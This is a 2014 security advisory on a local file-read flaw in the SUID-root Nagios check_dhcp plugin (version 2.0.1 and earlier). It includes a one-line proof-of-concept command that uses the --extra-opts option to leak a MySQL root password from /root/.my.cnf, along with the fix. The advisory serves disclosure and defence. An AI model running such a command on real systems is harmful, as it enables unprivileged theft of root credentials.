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Follow @dawid_golunski ============================================= - Release date: 15.05.2014 - Discovered by: Dawid Golunski - Severity: Moderate ============================================= I. VULNERABILITY ------------------------- check_dhcp - Nagios Plugins <= 2.0.1 Arbitrary Option File Read II. BACKGROUND ------------------------- "Nagios is an open source computer system monitoring, network monitoring and infrastructure monitoring software application. Nagios offers monitoring and alerting services for servers, switches, applications, and services. It alerts the users when things go wrong and alerts them a second time when the problem has been resolved. Nagios Plugins (Official) The Nagios Plugins Development Team maintains a bundle of more than fifty standard plugins for Nagios and other monitoring applications that use the straightforward plugin interface originally invented by the Nagios folks. Each plugin is a stand-alone command line tool that provides a specific type of check. Typically, your monitoring software runs these plugins to determine the current status of hosts and services on your network. Some of the provided plugins let you check local system metrics (such as load averages, processes, or disk space usage), others use various network protocols (such as ICMP, SNMP, or HTTP) to perform remote checks. This allows for checking a large number of common host and service types. * check_dhcp plugin This plugin tests the availability of DHCP servers on a network." III. INTRODUCTION ------------------------- check_dhcp plugin that is a part of the official Nagios Plugins package contains a vulnerability that allows a malicious attacker to read parts of INI config files belonging to root on a local system. It could allow an attacker to obtain sensitive information like passwords that should only be accessible by root user. The vulnerability is due to check_dhcp plugin having Root SUID permissions and inappropriate access control when reading user provided config file. IV. DESCRIPTION ------------------------- check_dhcp requires a root SUID permission on the program binary file in order to run correctly. Default installation of check_dhcp when installed from sources assigns the setuid bit automatically on the file: # ./configure ; make ; make install # ls -l /usr/local/nagios/libexec/check_dhcp -r-sr-xr-x 1 root root 171188 May 12 23:26 /usr/local/nagios/libexec/check_dhcp As we can see in the provided help the plugin allows for reading options from a supplied config file by using --extra-opts option: # /usr/local/nagios/libexec/check_dhcp --help check_dhcp v2.0.1 (nagios-plugins 2.0.1) ... Usage: check_dhcp [-v] [-u] [-s serverip] [-r requestedip] [-t timeout] [-i interface] [-m mac] Options: ... --extra-opts=[section][@file] Read options from an ini file. See https://www.nagios-plugins.org/doc/extra-opts.html for usage and examples. The option could be used to read parts of any INI format config files available on the system. Because check_dhcp is running as root (thanks to SETUID bit) and does not drop the root privileges when accessing the config file nor does it check if a given file should be accessible by the user executing it any root ini-config file can be accessed this way by an unprivileged user on the local system. Ironically, the extra-opts.html document states "The initial use case for this functionality is for hiding passwords, so you do not have to define sensitive credentials in the Nagios configuration and these options won't appear in the command line." V. PROOF OF CONCEPT ------------------------- A good example of a program that stores configuration in INI format is MySQL. Administrators often save mysql credentials in /root/.my.cnf to avoid having to type them each time when running a mysql client. Storing mysql passwords in a config file is also suggested for safety in MySQL docs : http://dev.mysql.com/doc/refman/5.7/en/password-security-user.html An example mysql config file could look like this: # cat /root/.my.cnf [mysqldump] quick [mysql] # saved password for the mysql root user password=myRootSecretMysqlPass123 If an unprivileged attacker had access to a system containing SUID binary of check_dhcp plugin he could easily use it to retrieve the password contained in /root/.my.cnf file: [attacker@localhost ~]$ id uid=500(attacker) gid=500(attacker) groups=500(attacker) [attacker@localhost ~]$ /usr/local/nagios/libexec/check_dhcp -v --extra-opts=mysql@/root/.my.cnf /usr/local/nagios/libexec/check_dhcp: unrecognized option '--password=myRootSecretMysqlPass123' Usage: check_dhcp [-v] [-u] [-s serverip] [-r requestedip] [-t timeout] [-i interface] [-m mac] As we can see the contents of the 'mysql' section of /root/.my.cnf option file gets printed as a part of the error message revealing its contents to the attacker. VI. BUSINESS IMPACT ------------------------- Malicious user that has local access to a system where check_dhcp plugin is installed with SUID could exploit this vulnerability to read any INI format config files owned by root and potentially extract some sensitive information. VII. SYSTEMS AFFECTED ------------------------- Systems with check_dhcp SUID binary installed as a part of Nagios Plugins 2.0.1 or older are vulnerable. VIII. SOLUTION ------------------------- Remove SETUID permission bit from the check_dhcp binary file if the plugin is not used. Vendor has been informed about the vulnerability prior to release of this advisory. Install a newer version of the plugin when released by vendor. IX. REFERENCES ------------------------- http://exchange.nagios.org/directory/Plugins/*-Plugin-Packages/Nagios-Plugins-%28Official%29/details http://www.nagios-plugins.org/download/nagios-plugins-2.0.1.tar.gz https://nagios-plugins.org/doc/extra-opts.html http://en.wikipedia.org/wiki/Setuid http://en.wikipedia.org/wiki/INI_file http://dev.mysql.com/doc/refman/5.7/en/password-security-user.html http://legalhackers.com/advisories/nagios-check_dhcp.txt X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com legalhackers.com XI. REVISION HISTORY ------------------------- May 12th, 2014: Advisory created XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. Follow @dawid_golunski <-- BACK TO legalhackers.com